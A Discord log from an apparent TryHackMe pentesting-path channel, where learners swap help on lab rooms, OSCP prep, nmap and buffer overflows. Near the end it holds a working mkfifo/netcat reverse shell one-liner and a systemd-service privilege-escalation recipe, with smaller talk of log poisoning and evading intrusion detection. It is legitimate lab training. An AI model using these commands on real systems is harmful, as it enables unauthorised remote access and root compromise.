#offensive-pentesting-path

1 messages · Page 12 of 1

fleet wedge
#

Obv not legit real world experience but it can give the employer a piece of mind knowing u actually do hands on stuff with all that u learn and obv u can validate ur knowledge in an interview

tawdry vessel
#

Not sure if my previous work experience is very relevant lol but ive been learning as much as i can this past year, trying to gain a clearer perspective on the opportunities out there

fleet wedge
#

Yea theirs no doubt youll be able to switch. If anything, do research on some job roles that you find interest in, look at their roles/job descriptions, and most job descriptions overlap in what they are looking for or want u to do so thats good. But if most entry level job roles u want to go for keep saying “preferred: security +...” etc, than get that one cert, start learning some stuff that accompanies the job roles if u dont really know em well enough and apply

hoary garden
#

i needed the ip of the box. that's why i asked from the beginning but you didn't get what i was talking about.

#

in port scanner doesn't show up.

wind linden
#

guys which cert do you suggest me to go first?

#

oscp,ceh,comptia+?

hoary garden
#

Hi, How do you guys get the ip of the machines that are at locked screen ? Blue for example, I'm trying to do it again without loggin in to it, and loks like the network card is sleeping or smething like that. or is couse the windows license is expiring ? I need to know if can be done without loggin in to it,

#

I'm talking about the offline machines,

#

Got it. My bad, I had to change the network card setting in vbox to be in same network 😄

agile ibex
#

hey all, I had a quick question on the Kenobi room Task 2. The last question talks about the rpcbind port that was discovered previously during recon. Then it goes on to say "In our case, port 111 is access to a network file system." How would I know that outside of this room? Is it just because we see Samba running on other ports that we assume the rpcbind port has a NFS backend?

dense root
agile ibex
shadow sandal
#

Hi Guys, I'm trying to git clone Kerbrute tool.
But mo Internet on the Host... what can I do?

rancid vine
#

Why do you need it on the host?

buoyant zinc
#

Hey guys!!! Been having an issue with the very end of Steel Mountain. Ran everything exactly to the T. But no luck. Looked at many other forums, write ups but nothing.

#

I’m not using metasploit.

#

Refuse to

fleet wedge
#

@buoyant zinc are u throwing ur executable into the directory before the “Advanced..” I believe and starting and stopping service in that same directory?

buoyant zinc
#

Yes

#

I stop —-> put the executable——> then start.

fleet wedge
#

Put the exe than do stop and atart

buoyant zinc
#

Thanks you btw.

#

Ok I will do that. Thank you! I will let you know what happens. I need to hit the hay.

fleet wedge
#

Aye no problem, welcome!

buoyant zinc
#

@fleet wedge Yeah no luck with inputting the exe first and then stop/start the service.

#

I will continue to search and retrace my steps

#

I might put a different port within the payload.

ebon dome
#

so how would you guys go about taking a disk image of a whole machine? lets say I have full root privileges and want to look at the machine locally so there is no way of me doing any damage to the machine. (a Linux machine)

proper belfry
#

I am trying to do the Buffer Overflow Prep room but cannot connect to the machine with xfreerdp. It just gives me a black screen for a couple of seconds then the window closes and it says Network disconnect in the CLI!

wide gorge
#

@ebon dome you could use clonezilla boot up disk or, even dd

visual umbra
#

Have you ever tried nomachine or dwservice? I honestly don't know what is the easiest for ctf/pentest work.

visual umbra
#

TBH, I haven't really compared these against one another. I just know wanted to give some options.

sage pulsar
#

Hi, I'm in the Internal room, i've got credentials of the admin page and got a reverse shell as www-data, but i don't know how do move forward, any tips? Also, I've got a couple of credential of phpmyadmin, but I don't think is the right path...

simple loom
turbid crest
#

So what's going on there? Just boxes in a couple different websites to help with oscp?

keen iris
#

Yes?

#

It's like, software - box

turbid crest
#

Ah ok. Yea just making sure

dire schooner
#

hi

rancid vine
#

@turbid crest that is the list of boxes and challenges I did in place of the PWK labs.

turbid crest
#

@rancid vine whats wrong with the pwk labs? Or nothing and just extra resources?

rancid vine
#

I didn't find the PWK experience to be of much benefit. So I found things that were.

keen iris
#

Except you have to buy them, so eh

regal drift
#

Hi, is there anyone who can unblock me here. I always seem to get this issue when attempting to get a shell. I have looked everywhere and even had to reinstall my kali. Thanks in advance

📎 Screen_Shot_2021-01-11_at_3.53.41_PM.png
covert scarab
#

That local IP looks... wrong?

regal drift
#

@near ginkgo I’m blocked in a sense that I can’t move beyond this point . Unable to complete my rooms

#

@covert scarab was following some write up, this is an ip I got from the machine I spun up

covert scarab
#

uhhh

#

wut

#

wut no

#

It's clearly the wrong local IP

regal drift
#

@near ginkgo will do

covert scarab
#

bruh

#

I give up

#

I'm outta here

#

ifconfig is deprecated

#

Not only that but I said it's the wrong local IP so "showing it's the wrong local IP" is already out of the question

regal drift
regal drift
#

thanks a lot, much appreciated!!

regal drift
#

yeeep, totally agree

#

now I know better

fleet wedge
#

an interviewer just asked me an extremely weird question

#

whats the first command i would type to ensure that my reverse php shell is working properly....

#

is there a right answer for this? i usually just do ls.....

quaint garnet
rugged dock
fleet wedge
#

while i appreciate the advice, i was asking not because i didn't know these commands and could only say ls.

wet sierra
#

That’s a wack question

ashen hornet
fleet wedge
#

Need some help with /room/gamezone
can i dm anyone?

#

fixed ^^

turbid crest
#

wait u gotta pay for the labs on top of the cert or no?

keen iris
#

No

#

You can't buy the cert without getting the whole PWK

sour drift
spare remnant
#

Hey can anyone help me in bypassing php filter? I am uploading a webshell but the server is commenting my php code

fleet wedge
pale steeple
#

look at my pm july

lusty bough
#

Reading up on different scanning methods currently as part of my courses and rooms. Curious to hear how you lot do nmap or rustscan, what flags, how to do firewall/IDE bypass, remain stealthy etc.

ashen hornet
lusty bough
#

Finished Linux and Networking fundamentals, currently working my way through web hacking funcamentals

jaunty hedge
lusty bough
#

Reading about nmap -sS flag for example, which in reality is not stealthy at all

glacial flint
lusty bough
# glacial flint thats interesting. So why is not stealthy?

I should rather say, -sS by itself is not stealthy. You're still sending ICMP packets (SYN packet) to a host, and if you're sending that rapidly to all ports on an IP address, that should be easy to spot for modern IDEs. Maybe 20 years ago -sS was stealthy, but surely that's not the case anymore?

#

So I'm assuming you would need a variety of flags and approaches. Like, scan with decoys, scan through a VPN, make packet sizes random, make the user header random, fit in with the general noise on the internet

glacial flint
#

ah i see that makes sense. Right basically use more flags and approaches like you said. Just need to "blend in"

keen iris
civic valley
lusty bough
keen iris
#

Indeed. Why scan over the internet if someone's already done it for you?

glacial flint
keen iris
#

Shodan already has scanned the ports for you

glacial flint
#

any good sources to learn more on how to use shodan?

keen iris
#

There's a room on it but it's private

#

Unless you're a student, you'll probably need to pay in order to get much use out of it

glacial flint
#

i pay for the upgraded membership, would i be able to access it?

#

trying to look for the room currently

civic valley
#

the shodan room is being updated last I heard

glacial flint
keen iris
glacial flint
#

Oh ok thanks for the info

agile niche
#

Hey, I've completed this path. How do I generate the Completion Certificate?

jaunty hedge
agile niche
#

Ah, that's why. Alright, thanks.

warm rampart
#

Certificate of Completion that is...

jaunty hedge
jaunty hedge
agile niche
#

Okay, I see it. Wasn't there in the morning when I finished it.

#

Weird.

minor lagoon
#

Hi! anyone around that can help BOF. I keep running the sample python code and the program keeps crashing on the first 100 mb which is strange...

junior perch
#

Hi guys. How long the discount last if i complete the comptia pentest path?

grave lion
junior perch
outer ember
sturdy flame
sturdy flame
#

is this the right result for fuzzer.py? How many bytes do we know were sent?
Fuzzing with 100 bytes
Could not connect to 10.10.173.38:1337

outer ember
#

No it's not

#

You have to run the exe in the debugger first and then to run the fuzzer in the attacker machine

#

@sturdy flame

sturdy flame
#

yes got that far

#

I'm not getting this in the !mona findmsp - distance xxx

EIP contains normal pattern : ... (offset XXXX)?

should that be in the output of the log data?

#

got it..

pastel pulsar
#

Hey not sure if this is the right channel, but can someone help if I've done something wrong here? I am doing the Blue room. When i do the metasploit exploit it always fails, output is attached

📎 Problem.txt
keen iris
#

Can you screenshot it instead please?

#

and screenshot the output of show options

pastel pulsar
#

yup

#

there

keen iris
#

LHOST is wrong

#

set it to your VPN IP

pastel pulsar
#

ah i had a lingering feeling that was the case

#

thanks

pastel pulsar
outer ember
sturdy flame
#

Can someone help with a fuzzer question?

keen iris
#

I recommend just asking directly

sturdy flame
#

Fuzzing with 1267 bytes
Fuzzing with 1268 bytes
Could not connect to 10.10.178.212:1337

#

when it hits 1268,. THAT is the offset right?

keen iris
#

You're using python2 right?

sturdy flame
#

would that make a difference?

keen iris
#

Yes, python3 handles raw bytes and some network stuff totally differently

sturdy flame
#

hm

keen iris
#

Many people have stuck with python2 for it because it's considerably easier

#

If you're using the script provided in the room, it's python2

sturdy flame
#

so is that why it has been ioncosistent

#

ok thanks, been racking my brain on why it changed in a few attempts

#

same with the exploit.oy?

keen iris
#

Yeah there's a reason people stick with 2 for BoF stuff

sturdy flame
#

i got the same offset this time. then searching for the EIP in mona with 1268 + 400 doesn't show the EIP offset in the application

#

figured it out, my mistake

#

thanks for the python2 advice

outer ember
keen iris
#

Unless you're on the attackbox

outer ember
#

Aaah

#

I thought he used the script of the room

sturdy flame
#

I finally got he process. It was a bit confusing with the offset for the explloit.py

keen iris
#

That script was written for python2

#

python happens to be python3 on some systems

#

Which you need to remember. That includes the attackbox

sturdy flame
#

its never mentioned to use python2

outer ember
#

I didn't said that due to the command itself

#

I said it due to the output

sturdy flame
#

I used kali 2020

outer ember
#

As i remember the room there count 100 per 100

sturdy flame
regal drift
#

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Error: One or more options failed to validate: LHOST, LPORT.

#

hi guys, anyone ever experienced the above, trying to create a shell using msfvenom

regal drift
#

sorted

covert scarab
#

May I ask your intentions? This sounds very specific

sturdy flame
#

Anyone who took the OSCP, is Linux Buffer Overflows on the exam?

simple loom
sturdy flame
crystal sedge
#

I'm doing DailyBugle and the website isn't loading, but it is there and I got a screenshot of the frontpage through autorecon. I am very confused.

#

Do I need a hostname in my hosts file for the site? Or do I need to use a certain browser.

#

Gobuster etc is enumerating directories too and getting some 200s, but I still can't physically view the page.

rancid vine
#

Do you have a proxy turned on?

hoary oxide
#

Hi all, currently doing Internal and can't seem to capture any traffic in burp/zap after settings up the ssh port forward to my localhost. Not sure what's happening here.

📎 unknown.png
final juniper
#

i have a problem of downloading this path's certificate

#

in the cert my nickname is written instead of my full name

hoary oxide
#

The intercept was on when I tried last night, although it works fine when I close the ssh session. I'll try foxy proxy when I get home to see if this helps.

tender gorge
#

hi everyone, anyone have problems with the BoF of brainstorm? I have success when I reproduce locally the exploit, but not success on the deployed machine :c anyone in the same situation?

hoary oxide
#

Just got home, froxy proxy works like a charm! Thanks again.

grand merlin
#

just finished relevant room but it seems i exploited it not the intended way as in the walkthrough

rancid vine
#

There's an unintentional if you know how to do more than just fire the default eternal blue at it.

#

I had a hard time trying to prevent that with the way the box is built.

#

That's if you went that route anyways. I note that it exists in the room.

grand merlin
harsh flame
#

So the offensive pentesting path is that oscp focused?

grave lion
#

Yep

harsh flame
#

Cool thought so but just didn't see it stated like that :).

grave lion
#

We can't call it OSCP path because it's copyrighted from offsec iirc or something like that but yea this is desired to be an OSCP path

harsh flame
#

actually that makes a lot of sense :D.

#

just finished my labtime on pwk... and not ready so will try and work through this path.

rancid vine
#

It's not just meant for OSCP either.

#

That's why it's named offensive pentesting path.

hoary oxide
#

Just fried my brain doing 5 buffer overflows 😅

charred loom
#

speaking of buffer overflows, can someone help me with a question regarding jumping to another register other than ESP?

fleet wedge
#

Heellooo, is there anyone who escalated to system in alfred room without using metasploit

hoary oxide
earnest fog
#

hi all

#

does internal too hard ?

dry thicket
#

What do you all usually use as your first nmap command, considering you want to scan all ports? I am trying to look for a scan that will find me 95 percent of the information of a host (open ports, services, OS) but that also doesn't take me half an hour to run😂, any suggestions?

cold cedar
#

Anybody able to answer a query on steel mountain?

keen iris
cold cedar
keen iris
#

I think other people have had that too ¯\_(ツ)_/¯

dry thicket
#

makes sense, I was just wondering, as I see more and more services on non standard ports that nmap would not find in the standard 1000 ports.

keen iris
#

nmap -sV -v -p-

#

You get the ports back straight away, so you can carry on recon

#

As soon as they're found

#

Something like rustscan will find them faster

dry thicket
keen iris
#

I don't tend to use rustscan

rancid vine
#

Threader3000 first. It runs -sC -sV on the ports it found.

#

Easy to install. Just run pip3 install threader3000

#

Run it wherever you want to save the output. It outputs as an XML that you can upload to Pentest.WS or wherever else. And I commented out a line that you can uncomment to allow xsltproc to convert your xml to html for web browser use if you prefer.

twin sun
#

Someone suggest a web application pentester roadmap in thm.. starting from the beginner

keen iris
#

The beginner path, then the webapp path

twin sun
keen iris
#

You asked for webapp pentesting, correct?

twin sun
#

Yes

keen iris
#

Ok, and is privesc a part of webapps?

twin sun
#

I think it's may be required to get root/admin access to a website

#

Well i don't know anything abt privilege escalation..

keen iris
#

I think you're confused with what a webapp is.

#

Root is for Linux/Unix

#

That's not part of webapp.

#

Web app is just the webapp.

twin sun
#

I mean to say like admin access...to all directiories in a web app

#

Including the hidden ones which cannot accesses by web scrapers..

keen iris
#

That's not privesc

twin sun
#

Or smtng like that

keen iris
#

I really recommend starting with the true beginner path, and then asking again once you have the groundwork.

twin sun
rancid vine
#

Privilege escalation exists in web applications.

#

And yes, it can include gaining access to parts of the application where others are not authenticated to be.

#

Like all the directories.

fleet wedge
#

@hoary oxide i sent u priv

keen iris
rancid vine
#

I'm not the one that said it. Anyone pentesting knows that simply isn't true.

#

Gaining admin access is absolutely a part of web application privilege escalation, as yash had asked.

keen iris
#

privilege escalation basics with no context, that's the problem

#

You don't need to learn what THM would classify as privesc basics if you're trying to do webapp privesc.

rancid vine
#

I just think it's unclear and bad advice. They were obviously asking about web stuff. Made suggestions about gaining admin access to web sites, directories, etc.

#

¯_(ツ)_/¯

#

What do I know.

keen iris
#

Which bit was bad advice to you?

#

Following the complete beginner path?

rancid vine
#

yashvendraToday at 11:38 AM
I mean to say like admin access...to all directiories in a web app
[11:38 AM]
Including the hidden ones which cannot accesses by web scrapers..

NinjaJc01 | JamesToday at 11:38 AM
That's not privesc

#

That's a pretty good privesc in my opinion.

keen iris
#

They also said root.

#

It's not the same as what THM teaches as privesc.

rancid vine
#

root/admin access to a website.

keen iris
#

Feel free to give them better advice.

#

Rather than attacking me for it.

#

Learning the fundamentals will help all the way through.

twin sun
#

@keen iris @rancid vine ..an query without a proper clarity from a noob(myself) leads to hard dusccussion b/w u guys ...sry for that...anyway tnx for helping me out..

meager raft
#

so earlier this morning I provisionally passed the PenTest+ Exam. I have to give credit to the TryHackMe Team, as having access to this service was a critical component in gaining the necessary knowledge to go for this exam and pass it!

onyx shuttle
#

BoF Brainstorm, it is 64bits, so I tried to setup a windows machine and downloaded immunity. However, immunity is 32bit and complains about trying to open the file (chatserver.exe). How did you guys went about it?. I may tried working with x64bgr instead, but would mean that couldn't use immunity/mona for this like on previous exercises. Edit: the files were corrupted. I re-download them again and works fine.

terse herald
meager raft
simple loom
#

Congrats @meager raft ! I gave you a shiny new Pentest+ badge 🙂

meager raft
dry thicket
#

@meager raft good Job! I am taking the exam next week. Would you mind shooting me a dm with your opinion of the exam? Of course without violating the CompTIA rules on disclosures.

midnight pewter
hoary oxide
midnight pewter
#

Thanks a lot @hoary oxide. That was helpful!
Btw if anyone is looking, I have another way to get root flag W/O metasploit for Alfred 🙂

hoary oxide
#

No problem man

fleet wedge
#

any are facing same issue as i got 500 internal error

#

???

meager raft
#

yes, as of 30 minutes ago the site started having issues according to the announcement, and I just got the 502 error.

#

so it looks like the site may be down for the time being

ashen hornet
uneven shadow
#

Hi need a nudge on internal priv esc to root 😂

rancid vine
#

Forget tools. Enumerate manually.

uneven shadow
#

Hmm i got user alr i did all the way manually

fleet wedge
#

can someone link me the oscp banned tools list pls

covert scarab
fleet wedge
#

ok thanks

hoary oxide
#

Hi all, currently doing Attacktive Directory and running into errors when using GetNPUsers.py. Not sure if this has happened to anyone else?

📎 unknown.png
royal shadow
hoary oxide
royal shadow
#

Oh install the requirements using “pip3 -r requirements.txt”

hoary oxide
modest hatch
#

hey guys, I am trying brainpan room and i'm a bit stuck after gaining a shell. After running linpeas there is sth ||that can be executable with sudo /home/anansi/bin/anansi_util|| . Am I in the correct path or should I look elsewhere? Also found ||some interesting group like adm and samba||. And tried || SUID|| but without success.

modest hatch
#

found it, sorry about the question

onyx shuttle
#

Gatekeeper room, i am having issue running the local file. I downloaded the gatekeeper.exe and put in a windows10 machine. I have immunity/mona plugin running from it. However, when I tried running gatekeeper.exe I get an error. I do have installed VS 2015 community issue, so it is not the vcruntime14.dll. Thus, I am unable to run it. How do you guy to ran it?

tough raptor
#

Heys guys, I can't find an answer on why an IIS windows server won't read a payload .asp but can read a .aspx ? I played around with msfvenom, but i can't find the documentation explaining this. Does anyone knows the difference?

modest hatch
onyx shuttle
livid remnant
#

you have to port forward from your vm to get a reverse shell to work right?

smoky thorn
grand veldt
#

How do you add OSCP tag to your name? bashzoom

covert scarab
#

If you're thinking about the role, you ask a moderator when you are certified

jaunty hedge
#

be certified and kindly ask mods.

grand veldt
#

Already 🙂

#

Who is the person to ask ? 🙂

#

I just don't want to start DM'ing randomly 🙂

#

Thanks for help! blobheart

radiant oak
#

What is the name of the career role that is legally employed to find vulnerabilities in applications?
Does anyone know the answer?

keen iris
#

@radiant oak that's a research question

#

Google is your friend here

radiant oak
#

ok i tried but i will look for more, because first i tried the easiest way kkkk

keen iris
#

We are not here as a substitute for your own research

radiant oak
#

I know that I wasn't researching I was looking for help

keen iris
#

It's a research question

#

You need to do your own research before asking for help.

radiant oak
#

ok it was badly boring, thanks for the attention.

smoky thorn
#

^^^^^^^

fleet wedge
#

i think that's related to almost everything in life in terms of sucess 😄

jagged thunder
#

Hey everyone, transferred accesschk.exe to windows server 2012, but it ain't working. I've downloaded this one: https://web.archive.org/web/20111111130246/http://live.sysinternals.com/accesschk.exe which is supposed to work in older windows versions too. After transferring with smbserver, typing the following accesschk.exe /accepteula should normally be the first thing to type & after only typing accesschk.exe should show the syntax

#

but I get no output

#

it's the mr robot room

#

I'm not a big fan of automated tools, so trying to do everything as manually as possible & without checking any writeups

severe hamlet
#

anybody have an opinion on where a novice like me should start learning to hack? i was told to start with CTF using tryhackme and hack the box but some of that looks like foreign to me. i am open to all suggestions

keen iris
#

!docs free-path

frank troutBOT
keen iris
#

This is the discord for tryhackme, after all

severe hamlet
keen iris
#

It's not a necessity

#

But it helps with box speeds and stuff

severe hamlet
keen iris
#

If you subscribe then your boxes deploy with more resources

#

So they boot faster and are faster

severe hamlet
#

?

keen iris
#

Doesn't matter seeing as they're not on your machine

#

They're on AWS

#

They're not running locally

severe hamlet
tawdry crystal
#

Haven't done the linux rooms in THM, but they are also CTF-like, which is cool

severe hamlet
tawdry crystal
#

I also consider myself a novice but I can handle myself pretty well on THM

severe hamlet
tawdry crystal
#

Just start. Do whatever you feel inclined to do, because you may not know a lot of things. Once you dived into the water for some time you'll know what to do next 👍

#

Do 1 week of research on the topics you like (If you like programming, research languages, their uses, where to learn it, etc.), and on week 2, start actually learning from what you condensed on week 1 (courses, books, TryHackMe, whatever your brain learns best)

tawdry crystal
# severe hamlet box speeds?

If you don't know what "box speed" means then dive into Networking, Linux, Virtualization, that kind of stuff. It's not very complicated but it's a very IT slang

severe hamlet
west yarrow
grave lion
#

Type shell then you'll be able to cd into the directory

west yarrow
#

can I dm @grave lion ?

grave lion
#

sure

maiden coral
#

Hi guys I am new to pre much everything so bear with my silly basic questions

merry crater
#

Could someone possibly help me determine my next steps on going from LFI to a shell? This is an area I struggle in and was hoping someone could help walk me through it.

marble junco
#

did you check any of the guides on google already for that? something specifically not working?

keen iris
#

Or another way of writing to files

#

Then, you include that file

#

The file will have PHP etc in it that will be executed when included

#

Log poisoning is a common one

merry crater
#

Example right now I can run this; it then creates a download and I can read the contents.

📎 unknown.png
#

I wanted to try log poisoning however the logs don't appear to be in the default locations.

warm rampart
#

Php filters can also help

loud badger
#

they'll tell you where the logs are

#

or you can try /proc/self/fd/# where # is 1, 2, 3, 4, ...

lusty bough
#

Just finished the RootMe room. I got stuck on the last part, where I looked for SUID binaries. I read a writeup and saw that ||usr/bin/python|| was particularly interesting. Is that something you just have to learn and remember to look for next time? How would I know that that particular file was interesting out of every file listed? Are there other "obvious" files or paths I should look out for when searching for SUID bins?

burnt whale
civic horizon
#

☠️✌🏻

uneven shadow
#

@merry crater the lfi one is which room?

#

I think there is writeup

fleet wedge
#

Hey guys!
I'm doing the steelmountain room and I'm having problems executing the AdvancedSystemCareService9 service.
For some reason I'm getting an: [SC] StartService FAILED with error 216.
Any Ideas?

velvet tapir
#

check your nc @fleet wedge

fleet wedge
#

@velvet tapir nothing in my nc

velvet tapir
#

Try backing up and copy the file again,

final stirrup
#

Suppose in a CTF you are supposed to exploit a SUID/SGID file. You use find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null to locate all files with SUID/SGID bit enabled. Now, how do you filter non-exploitable results from possible ones ? Assuming using the said result with -h returns no version number for easy search.

reef shale
#

@final stirrup you can try to make a whitelist like linenum.sh is using (variable binarylist https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh ) but you will still not see custom ones. You could also try to make a blacklist but you may filter wrong results. I wanted to do the same at first but at some point I just learnt to spot them little by little, too many special cases

GitHub
rebootuser/LinEnum

Scripted Local Linux Enumeration & Privilege Escalation Checks - rebootuser/LinEnum

final stirrup
reef shale
#

Yes to begin with just executing Linenum will show you the Linux binaries that are known to be vulnerable when the SUID bit is set, but it won't show you the custom ones (user created), so you'll still have to learn them a bit. When I began I made a list of my SUID binaries on my kali machine + the "normal" ones on a kali machine and I compared them. For the ones that were not in the list I used https://gtfobins.github.io/#+suid

final stirrup
#

Thanks. That indeed sounds smart. I too will make a note of this. Thank you very much.

fleet wedge
plain pivot
#

Pentesting

#

How to start

marble junco
#

!docs free-path

frank troutBOT
tawdry crystal
#

Same. WinPEAS has been impossible 2 times now. Not sure what I'm doing wrong

tribal ferry
tawdry crystal
jaunty hedge
keen iris
#

@tribal ferry I think you downloaded the web page rather than the powershell code

tawdry crystal
#

Hi, I'm doing our offensive pentesting path, and I wonder, is this the OSCP path? I mean, is it specifically oriented towards the oscp?

#

I've read a couple reviews on "Tryhackme oscp path" but I think there isn't any specific path by THM

tawdry crystal
rancid vine
#

It's not OSCP specific, but it was created to help with certifications like it and eCPPT.

long pivot
#

Guys I had a doubt about the 10% discount offered on Pentest+ on completing the path. For how long is the discount valid after completion of the path? I want to finish the path but don't plan to take the certification just yet

grave lion
#

It won't expire til the end of the year

#

expires 31/12/2021

cunning walrus
#

Hey there everyone!

#

happy to be here

mint heron
#

What is the best way / path / roadmap to prepare for OSCP? I was looking around a bit and came across TheCyberMentors course (3 courses in a bundle: a) 'Practical Ethical Hacking - The complete course' b) 'Windows Privilege Escalations for Beginners' c) 'Linux Privilege Escalations for Beginners'.
Would this be recommended? Will it prepare me for the OSCP? Or should I rather choose another way? If so, which one? What experience have you had?

Is the OSCP at all suitable for an absolute beginner? Should I perhaps first take another certification?

rancid vine
#

The best way to prepare for the OSCP is to immerse yourself in as many lab environments as you can.

#

TCM's and Tib's Windows and Linux privesc rooms on the platform are great. As are their Udemy courses on the same instruction.

mint heron
rancid vine
#

Yea. It's a really good course as well.

hollow sinew
#

Ooh, I think I’ve got that saved on Udemy, glad people can recommend it

mint heron
mint heron
hollow sinew
#

Eep

#

But sure, I’ll have to have a look

misty heron
#

The BUFFER OVERFLOW 2 --- is anyone getting no EIP when doing the attempted crash after the FUZZ testing ??? I'm at 700 - but I've gone up to 1100 --with no success -- even up to 3000 on the pattern create -- and cannot crash 2 at all ... ??? I'm following what I did on 1 yesterday and I finished that with no issues... Any suggestions ???

misty heron
#

I figured it out --- I saw the difference in the EBP & EBX while looking at the ESP values and deducted that 4 bytes was needed to find the EIP... thanks reverse malware!

mint heron
short wedge
#

I hope someone here can assist me or point me in the right direction. I’m trying to do the blue room without meterpreter but I’m getting an impacket error

keen iris
#

Install impacket?

#

For python2 I suppose

short wedge
#

Yup

#

I believe so my python version is 2.7

keen iris
#

You will have both

short wedge
#

Ok so how do I get this working?

keen iris
short wedge
#

@keen iris

keen iris
#

That looks cloned

#

Not installed

short wedge
#

ok I believe I just installed it. I guess when it says master thats when its installed?

keen iris
short wedge
#

ok

mossy monolith
#

any hint for Internal? I got the reverse shell on server and am stuck now

rancid vine
#

Skip using tools for enumeration.

late geyser
#

Anyone else just started this pathway 🙂

cerulean star
late geyser
#

How you finding it?

velvet tapir
#

I’m in buffer overflow, so far it has been awesome, specially internal and relevant, obscured was refreshingly at different angle,

rancid vine
#

Glad to hear you liked Internal and Relevant. 🙂

loud badger
#

I admit to peeking at the writeups for those a little wee bit

pallid bison
#

I don’t feel bad for looking at write-ups bc I’m just learning

#

If I had sat through classes and then had supervised practice then I would try to not look at the help.

green mortar
#

Try with -p- which scans for all pots instead of just "well known" ones

#

@pallid bison

stark remnant
#

I need help understanding a step in the kenobi room. How is it inferred that /usr/bin/menu is not using a full path?

keen iris
#

If you RE the binary, you can find out that information

stark remnant
languid ledge
#

I need help understanding a step in the kenobi room. How is it inferred that /usr/bin/menu is not using a full path?
@stark remnant /usr/bin/menu is executing with full path. As ninja said you can Reverse Engineer the binary or executing it and looking for what it does would be the next step.

warm rampart
#

@mossy monolith Hint is "there is a reason why the room is called "internal" <---------

visual umbra
#

Does anyone know how to pull an entire site as one page? I found this page while studying for the OSCP: https://oscpnotes.infosecsanyam.in/ It seems pretty comprehensive. But, everything is an individual link, and I haven't found a way to download this as a document.

#

Or, archive it so this resource isn't lost forever...

ashen hornet
#

Put the site name into archive.org and hit the button to archive it for you through the waybackmachine.

visual umbra
#

Will that archive all of the pages? Or, just the single page that I put in the 'save URL' field?

#

Nevermind, it looks like someone has already done this. Thanks for the help.

wet sierra
#

It will archive the entire site

rancid vine
#

You can use Curl to download the entire site.

low knot
#

hey everyone! I've been doing HackPark lately and it's been a while that I'm stuck at it's priv esc part. I'm running winPEAS.bat where I should be getting the running processes but it's output isn't covering all info neither is it covering abnormal services. Can anyone help?

agile ibex
#

@low knot so I just finished that one a little bit ago and got stuck at the same part...I'm not sure if maybe there was something wrong with the winPEAS.bat file or what but I ended up having to use the winPEAS.exe file instead.

low knot
agile ibex
low knot
agile ibex
low knot
velvet tapir
#

Had issues with that room too yesterday, could not execute the dam shell,

#

.\shell.exe

last copper
#

In the VulUniversity Lab, the last part where we create a environment variable using ($mktemp).service the next line is to edit this service file and insert the cat command but to do so we use the echo '[Service]. I understand that the single quote was used to continue using echo as a way of input but how does echo know which file to open? what does the [Service] mean?

low knot
#

what port did u use for netcat listener while u executed shell.exe?

velvet tapir
#

9898

#

@low knot

velvet tapir
#

two separate paste::
1-
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f" > /tmp/shell.sh

2-
TF=$(mktemp).service

echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "bash /tmp/shell.sh"
[Install]
WantedBy=multi-user.target' > $TF

/bin/systemctl link $TF
/bin/systemctl enable --now $TF

last copper
keen iris
#

It's a common reverse shell payload

last copper
velvet tapir
keen iris
#

No.

#

The first one is a reverse shell payload, being put into a bash script file

#

The second creates your systemd service that will run it

#

You could just run that script, but you wouldn't become root because it'd just run as your current user

last copper
#

got it

last copper
last copper
low knot
#

If they don't work, then it seems a real issue.......

keen iris
#

I mean, there are much better ports to use

low knot
keen iris
#

443 or 53.

low knot
#

we're talking bout reverse shell here

#

r u talkin bout the same?

keen iris
#

Yes

#

Because firewalls with restrictive outbound rules shouldn't block outbound to 443 or 53

low knot
#

alright then, 4444 worked for me btw

low knot
keen iris
#

The ideal is to use https or something, with 443

low knot
last copper
keen iris
#

You can't listen on a (port+interface combination) that's already being used

#

So if you had something listening on 127.0.0.1:80, you can have something else listening on say.... 192.168.123.123:80

velvet tapir
#

The escalating shell, I thought the issue was the command to execute. .\shell.exe Didn’t think the choice of port mattered, apparently it does, cool.

onyx shuttle
#

On the offensive path, Corp room. This room has a lot of things that are not working properly. I am not sure if it is on porpoise or not. For some I found a work around (like the start menu no working), but for others I can’t figure it out. Such as downloading the kereberoast powers he’ll file. It says it can’t connect to server. I tried different ways to download and from different locations but didn’t work. Same error.

keen iris
#

So you need to host the file yourself

low knot
#

running processes especially...

velvet tapir
low knot
#

yeah, u should! I thought u're done solving the port issue...lol

#

Guys whenever hydra shows multiple incorrect passwords for one username then is it likely that there's some flaw in the command used or it sometimes does the same even if everything entered is right?

keen iris
#

Means it can't detect the failure correctly, usually because your syntax isn't quite right

velvet tapir
# low knot

what a nice way of saying that, your hydra look good , maybe take the . off the error message, and from my notes like hint "while waiting on hydra and dirb decided to cat the files we got"

onyx shuttle
# keen iris The VM doesn't have internet access

What you mean host the file myself?. I downloaded the file to my attack machine/Linux. Setup the web server and try downloading the file to the victim using powersell/downloadfile. Now that I think about it. I should try ssh or Netcat and see if I can get it hat way.

keen iris
#

I downloaded the file to my attack machine/Linux. Setup the web server yes that's what I'm suggesting

low knot
velvet tapir
#

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
| 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: TOP PIPELINING SASL AUTH-RESP-CODE UIDL CAPA RESP-CODES
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS post-login more have ID ENABLE capabilities SASL-IR IDLE OK Pre-login listed LITERAL+ LOGINDISABLEDA0001 IMAP4rev1
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

low knot
keen iris
#

I'd help, but I despise squirrelmail brute force

velvet tapir
#

actually i saw a different error message

keen iris
#

I'd recommend using ZAP or burp if you can

low knot
low knot
keen iris
#

Fuzz it in burp, rather than using hydra

